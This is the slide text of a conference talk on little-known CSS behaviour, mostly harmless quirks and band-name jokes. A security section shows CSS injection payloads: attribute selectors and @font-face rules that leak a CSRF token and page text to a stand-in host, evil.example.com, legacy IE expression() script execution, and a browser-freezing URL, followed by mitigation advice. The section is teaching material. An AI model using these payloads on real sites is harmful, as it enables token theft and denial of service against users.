Slide 1

Slide 1 text

@mathias · #devfestasia 3.14 things I didn’t know about CSS

Slide 2

Slide 2 text

@mathias

Slide 3

Slide 3 text

!important

Slide 4

Slide 4 text

!important .foo .bar { color: red; } .bar { color: green; }

Slide 5

Slide 5 text

mths.be/bsh

Slide 6

Slide 6 text

.foo .bar { color: red; } .bar { color: green !important; } !important

Slide 7

Slide 7 text

mths.be/bsh

Slide 8

Slide 8 text

.foo .bar { color: red; } .bar { color: green !important; } !important

Slide 9

Slide 9 text

.foo .bar { color: red; } .bar { color: green !important; } !important ✘

Slide 10

Slide 10 text

.foo .bar { color: red; } .bar.bar.bar.bar.bar.bar.bar.bar { color: green; } New !important best practice ✔ * not really *

Slide 11

Slide 11 text

mths.be/bsh

Slide 12

Slide 12 text

Font family names

Slide 13

Slide 13 text

Font family names in CSS html {
 font-family: 'Comic Sans MS';
 } “If there’s whitespace in the font family name, it must be quoted.”

Slide 14

Slide 14 text

Font family names in CSS html {
 font-family: Comic Sans MS;
 } “If there’s whitespace in the font family name, it must be quoted.” mths.be/bft

Slide 15

Slide 15 text

Font family names in CSS html {
 font-family: 456bereastreet;
 }

Slide 16

Slide 16 text

Font family names in CSS html {
 font-family: 456bereastreet;
 }

Slide 17

Slide 17 text

Font family names in CSS html {
 font-family: \34 56bereastreet;
 }

Slide 18

Slide 18 text

Font family names in CSS html {
 font-family: \34 56bereastreet;
 }

Slide 19

Slide 19 text

Font family names in CSS html {
 font-family: '456bereastreet';
 }

Slide 20

Slide 20 text

mths.be/bjm

Slide 21

Slide 21 text

Attribute values

Slide 22

Slide 22 text

Attribute values a[href="foo"] { background: hotpink; }

Slide 23

Slide 23 text

Unquoted attribute values a[href=foo] { background: hotpink; }

Slide 24

Slide 24 text

Unquoted attribute values a[href=foo|bar] { background: hotpink; }

Slide 25

Slide 25 text

Unquoted attribute values a[href=foo|bar] { background: hotpink; }

Slide 26

Slide 26 text

Unquoted attribute values a[href="foo|bar"] { background: hotpink; }

Slide 27

Slide 27 text

Unquoted attribute values mths.be/bjn

Slide 28

Slide 28 text

CSS comments

Slide 29

Slide 29 text

CSS comments .some-selector { background: hotpink; /*color: red;*/ text-align: center; }

Slide 30

Slide 30 text

CSS comments .some-selector { background: hotpink; /*color: red;*/ text-align: center; } ✔

Slide 31

Slide 31 text

CSS comments .some-selector { background: hotpink; //color: red; text-align: center; }

Slide 32

Slide 32 text

CSS comments .some-selector { background: hotpink; //color: red; text-align: center; } ✘

Slide 33

Slide 33 text

CSS comments .some-selector { background: hotpink; //color: red; text-align: center; } ✔ mths.be/brz

Slide 34

Slide 34 text

.some-selector { background: hotpink; colour: red; text-align: center; } CSS comments mths.be/brz

Slide 35

Slide 35 text

.some-selector { background: hotpink; colour: red; text-align: center; } CSS comments mths.be/brz

Slide 36

Slide 36 text

.some-selector { background: hotpink; colour: red; text-align: center; } CSS comments mths.be/brz

Slide 37

Slide 37 text

.some-selector { background: hotpink; colour: red; text-align: center; } ✔ CSS comments mths.be/brz

Slide 38

Slide 38 text

mths.be/brz

Slide 39

Slide 39 text

HTML tags

Slide 40

Slide 40 text

Valid HTML 
 
 
 Foo
 
 
 …
 


Slide 41

Slide 41 text

Valid HTML 
 
 
 Foo
 
 
 …
 


Slide 42

Slide 42 text

Valid HTML 
 
 
 Huh?
 
 …


Slide 43

Slide 43 text

Valid HTML 
 
 
 Huh?
 
 …


Slide 44

Slide 44 text

Valid HTML 
 lolwut
 …


Slide 45

Slide 45 text

No content

Slide 46

Slide 46 text

Using CSS without HTML

Slide 47

Slide 47 text

“No JS” mths.be/bsf

Slide 48

Slide 48 text

mths.be/bsf

Slide 49

Slide 49 text

No content

Slide 50

Slide 50 text

No content

Slide 51

Slide 51 text

$ curl -i https://mathiasbynens.be/demo/css-without-html HTTP/1.1 200 OK Date: Fri, 06 Nov 2015 13:33:37 GMT Link: ;rel=stylesheet Content-Length: 0 Content-Type: text/html; charset=UTF-8 CSS without HTML mths.be/bpe

Slide 52

Slide 52 text

$ curl -i https://mathiasbynens.be/demo/css-without-html HTTP/1.1 200 OK Date: Fri, 06 Nov 2015 13:33:37 GMT Link: ;rel=stylesheet Content-Length: 0 Content-Type: text/html; charset=UTF-8 CSS without HTML mths.be/bpe

Slide 53

Slide 53 text

No content

Slide 54

Slide 54 text

mths.be/bsb

Slide 55

Slide 55 text

U̶̓̄̈̄̉ ̦ ̖̫̖̻ nẛ̥ḯ ͎͈̪ ̇͋cͯ̃̂̀̉ ̲̰̝ oͥ͢ ̮̠͈͍̱ d̃ͨͫ ̤̻͉̞ ȩ̭̟̳̳̪͈ ̔͑̃ ̐ͣ̓͊ ͈̬̘̹͙̙ i ͥ̈́ͮ͛͒ ̨ ̻nͩ̉̅̈́̇̒͑ ̼̥̦̣ ̭̙̹ ̇ͮͥͭ̇͌ ̠Cͤ̋ͯ̑̏̈́ͥ ͍̦ ̯̠̘͎ Sͥ͊̔̋ ̞̣ ̜̪̲̗ Sͧ̊ ͛ ̮̞

Slide 56

Slide 56 text

Classes and IDs in HTML

legalese

HTML 4 lyfe, homes!

LOL

Warning: …

Outdated browser detected.

mths.be/afd

Slide 57

Slide 57 text

Classes and IDs in HTML

Good luck styling me!

heh

huh

wat

mths.be/afd

Slide 58

Slide 58 text

mths.be/bsc

Slide 59

Slide 59 text

Escaping CSS selectors

#\#id { }

.\.class { }

#\#id\.class\:hover\{\} { } #\#id\.class\3A hover\{\} { }

.\[attr\=\'value\'\] { }

#\34 04-error { }

Slide 60

Slide 60 text

Escaping CSS selectors

#© { } #\A9 { }

.♥ { } .\2665 { }

#“” { } #\201C \201D { }

." { } .\1F4A9 { }

Slide 61

Slide 61 text

Escaping CSS selectors mths.be/bsd

Slide 62

Slide 62 text

mths.be/bpo

Slide 63

Slide 63 text

mths.be/cssescape

Slide 64

Slide 64 text

Escaping CSS selectors var id = location.hash.slice(1); var $el = $('#' + id); // … mths.be/cssescape

Slide 65

Slide 65 text

Escaping CSS selectors var id = location.hash.slice(1); var $el = $('#' + id); // … var $a = $('a[href="' + someValue + '"]'); // … mths.be/cssescape

Slide 66

Slide 66 text

Escaping CSS selectors var id = location.hash.slice(1); var $el = $('#' + id); // … var $a = $('a[href="' + someValue + '"]'); // … mths.be/cssescape ✘

Slide 67

Slide 67 text

Escaping CSS selectors var id = location.hash.slice(1); var $el = $('#' + CSS.escape(id)); // … var $a = $('a[href="' + CSS.escape(someValue) + '"]'); // … mths.be/cssescape ✔

Slide 68

Slide 68 text

Using CSS for #evil$

Slide 69

Slide 69 text

XSS

Slide 70

Slide 70 text

mths.be/bry

Slide 71

Slide 71 text

Injection contexts p { color: <%= USER_COLOR %>; }

Hello <%= USER_NAME %>! View your account.

window.userID = <%= USER_ID %>;

Slide 72

Slide 72 text

What’s the worst you can do if you have control over a page’s CSS?

Slide 73

Slide 73 text

p { color: <%= USER_COLOR %>; }

Hello <%= USER_NAME %>! View your account.

window.userID = <%= USER_ID %>; Injection contexts

Slide 74

Slide 74 text

p { color: <%= USER_COLOR %>; }

Hello <%= USER_NAME %>! View your account.

window.userID = <%= USER_ID %>; Injection contexts

Slide 75

Slide 75 text

No content

Slide 76

Slide 76 text

No content

Slide 77

Slide 77 text

No content

Slide 78

Slide 78 text

No content

Slide 79

Slide 79 text

No content

Slide 80

Slide 80 text

No content

Slide 81

Slide 81 text

No content

Slide 82

Slide 82 text

No content

Slide 83

Slide 83 text

No content

Slide 84

Slide 84 text

No content

Slide 85

Slide 85 text

No content

Slide 86

Slide 86 text

Stealing data from the DOM mths.be/bsj

Slide 87

Slide 87 text

#csrf[value^="a"] { background: url(//evil.example.com/?v=a); } #csrf[value^="b"] { background: url(//evil.example.com/?v=b); } #csrf[value^="c"] { background: url(//evil.example.com/?v=c); } /* … */ Leaking an attribute value mths.be/bsj

Slide 88

Slide 88 text

mths.be/bsj

Slide 89

Slide 89 text

mths.be/bsj

Slide 90

Slide 90 text

abcdefg
Stealing data from the DOM mths.be/bsj

Slide 91

Slide 91 text

@font-face { font-family: h4x0r; src: url(//evil.example.com/?v=A); unicode-range: U+0041; } #sensitive-information { font-family: h4x0r; } Leaking unique symbols from a text node mths.be/bup

Slide 92

Slide 92 text

mths.be/buo

Slide 93

Slide 93 text

#myDiv { background: hotpink; position: absolute; left: expression( document.body.clientWidth / 2 - myDiv.offsetWidth / 2); top: expression( document.body.clientHeight / 2 - myDiv.offsetHeight / 2); }
Lorem ipsum
CSS Expressions in IE ≤ 7 mths.be/brw

Slide 94

Slide 94 text

#myDiv { background: hotpink; position: absolute; left: expression( document.body.clientWidth / 2 - myDiv.offsetWidth / 2); top: expression( document.body.clientHeight / 2 - myDiv.offsetHeight / 2); }
Lorem ipsum
CSS Expressions in IE ≤ 7 mths.be/brw

Slide 95

Slide 95 text

* { width: expression( alert('XSS through CSS') ); } CSS Expressions in IE ≤ 7 mths.be/brw

Slide 96

Slide 96 text

No content

Slide 97

Slide 97 text

* { width: expression( window.open('//evil.example.com/') ); } CSS Expressions in IE ≤ 7 mths.be/brw

Slide 98

Slide 98 text

No content

Slide 99

Slide 99 text

No content

Slide 100

Slide 100 text

IE’s legacy document modes mths.be/brx

Slide 101

Slide 101 text

IE’s legacy document modes mths.be/brx

Slide 102

Slide 102 text

#myDiv { background: hotpink; position: absolute; left: expression( document.body.clientWidth / 2 - myDiv.offsetWidth / 2); top: expression( document.body.clientHeight / 2 - myDiv.offsetHeight / 2); }
Lorem ipsum
CSS Expressions in IE ≤ 10 mths.be/brx

Slide 103

Slide 103 text

CSS Expressions in IE ≤ 10 mths.be/bpu

Slide 104

Slide 104 text

1. sanitize user input before injecting it in a CSS context
 2. disallow framing using the HTTP header
 X-Frame-Options: DENY
 3. use How to avoid CSS expression vulnerabilities? mths.be/bpu

Slide 105

Slide 105 text

1. sanitize user input before injecting it in a CSS context
 2. disallow framing using the HTTP header
 X-Frame-Options: DENY
 3. use How to avoid CSS expression vulnerabilities? mths.be/bpu

Slide 106

Slide 106 text

* { background: url('javascript:while(true){}'); } Freezing Firefox mths.be/bsa

Slide 107

Slide 107 text

mths.be/brs

Slide 108

Slide 108 text

mths.be/brs

Slide 109

Slide 109 text

One More Thing™ #cssbandnames

Slide 110

Slide 110 text

kbd { color: black; } What band is this? #cssbandnames

Slide 111

Slide 111 text

kbd { color: black; } What band is this? The Black Keys #cssbandnames

Slide 112

Slide 112 text

The Black Keys

Slide 113

Slide 113 text

:root { background: #f00; } What band is this? #cssbandnames

Slide 114

Slide 114 text

:root { background: #f00; } What band is this? Simply Red #cssbandnames

Slide 115

Slide 115 text

Simply Red

Slide 116

Slide 116 text

head { display: block; content: '\1F4FB '; } What band is this? #cssbandnames

Slide 117

Slide 117 text

head { display: block; content: '\1F4FB '; } What band is this? %head #cssbandnames

Slide 118

Slide 118 text

Radiohead

Slide 119

Slide 119 text

hr { height: 1px; border: 0; background: hsl(0, 0%, 100%); } What band is this? #cssbandnames

Slide 120

Slide 120 text

hr { height: 1px; border: 0; background: hsl(0, 0%, 100%); } What band is this? The White Stripes #cssbandnames

Slide 121

Slide 121 text

The White Stripes

Slide 122

Slide 122 text

.red-door { background-image: url(red-door.jpg); background-blend-mode: multiply; background-color: #000; } What song is this?

Slide 123

Slide 123 text

.red-door { background-image: url(red-door.jpg); background-blend-mode: multiply; background-color: #000; } What song is this? Paint It Black by The Rolling Stones

Slide 124

Slide 124 text

The Rolling Stones

Slide 125

Slide 125 text

input[type="date"] { color: rgb(0, 255, 0); } What band is this? #cssbandnames

Slide 126

Slide 126 text

input[type="date"] { color: rgb(0, 255, 0); } What band is this? Green Day #cssbandnames

Slide 127

Slide 127 text

Green Day

Slide 128

Slide 128 text

ed, emacs, nano, vi { font-family: monospace; } What band is this? #cssbandnames

Slide 129

Slide 129 text

ed, emacs, nano, vi { font-family: monospace; } What band is this? Editors #cssbandnames

Slide 130

Slide 130 text

Editors

Slide 131

Slide 131 text

p i { color: black; } What band is this? #cssbandnames

Slide 132

Slide 132 text

p i { color: black; } What band is this? The Black ’d

s #cssbandnames

Slide 133

Slide 133 text

The Black ’d

s

Slide 134

Slide 134 text

Thanks to: Simon Pieters Tab Atkins Martin Kool Mario Heiderich Frederik Braun Mike West Divya Manian Masato Kinugawa

Slide 135

Slide 135 text

Thanks! @mathias